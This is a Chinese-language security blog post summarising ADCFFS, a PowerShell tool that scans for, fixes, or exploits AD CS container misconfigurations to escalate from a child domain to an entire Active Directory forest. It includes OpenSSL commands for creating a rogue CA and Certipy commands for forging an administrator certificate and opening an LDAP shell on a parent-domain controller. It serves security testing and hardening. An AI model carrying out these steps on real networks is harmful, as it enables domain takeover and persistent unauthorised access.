利用 AD CS 错误配置,允许从任何子域到整个林的权限升级和持久化

科技   2024-12-31 13:48   广东  

ADCFFS是一个 PowerShell 脚本,可用于利用 AD CS 容器配置错误,从而允许从任何子域到整个林入侵的权限提升和持久性。该工具还可用于首先扫描林以确定它是否容易受到攻击,并可以纠正权限配置错误。有关该漏洞的更多信息,请参阅此白皮书。

要求 模块

该脚本依赖于 Microsoft 的 AD-RSAT PowerShell 模块。可以使用以下命令进行安装:

Add-WindowsCapability -Name Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0 -Online

权限

要确定林是否存在漏洞,需要低权限 AD 访问。但是,为了利用错误配置,您的 AD 用户必须是林中子域的管理员组的成员。

证书颁发机构

为了嵌入恶意 CA,您必须先生成 CA。这可以使用 OpenSSL 和以下命令完成:

openssl genrsa -out fakeca.key 2048
openssl req -x509 -new -nodes -key fakeca.key -sha256 -days 1024 -out fakeca.crt
openssl x509 -outform der -in fakeca.crt -out fakeca.der
cat fakeca.key > fakeca.pem
cat fakeca.crt >> fakeca.pem
openssl pkcs12 -in fakeca.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out fakeca.pfx

该fakeca.der文件应复制到将执行 ADCFFS 的 Windows 主机。该文件可与Certipyfakeca.pfx等工具一起使用,为域生成恶意证书。

用法

ADCFFS 的函数可以使用Import-Module命令导入到 Powershell 中,一共有三个函数:

  • 扫描容器权限

该ScanContainerPermissions函数将连接到ADSI并恢复在AD CS安装期间配置的容器的ACL权限。如果发现BUILTIN\Administrator权限配置错误,则表明该林容易受到攻击。

  • RemedyContainerPermissions

该RemedyContainerPermissions功能将连接到 ADSI 并从所有 AD CS 容器中删除BUILTIN\Administrator权限,从而消除安装错误配置。

  • 添加证书信任

该AddCertificateTrusts函数将通过将恶意 CA 的证书嵌入到 NTAuthCertificates 容器和证书颁发机构的第一个可写容器中来利用错误配置。一旦域控制器执行组策略更新,CA 将被嵌入为允许执行身份验证的受信任 CA。

开发

使用该函数后AddCertificateTrusts,Certipy 可用于漏洞利用。请注意,嵌入式 CA 不受 PKINIT 信任,因此,如果不进行额外篡改,则无法使用恶意证书进行 Kerberos 身份验证。相反,应按如下方式使用 Schannel 执行 LDAP 身份验证:

# Generate a rogue certificate signed by our embedded CA
certipy forge -ca-pfx myfakeca.pfx -upn administrator@<domain>

# Authenticate to a DC in the parent domain
certipy auth -pfx administrator_forged.pfx -dc-ip <IP of parent domain DC> -ldap-shell

然后可以使用 LDAP 命令进一步攻陷域。请注意,这也可以用于直接针对其他子域,无需先攻陷父域。


项目地址:

https://github.com/MWR-CyberSec/AD-CS-Forest-Exploiter


感谢您抽出

.

.

来阅读本文

点它,分享点赞在看都在这里

Ots安全
持续发展共享方向:威胁情报、漏洞情报、恶意分析、渗透技术(工具)等,不会回复任何私信,感谢关注。
 最新文章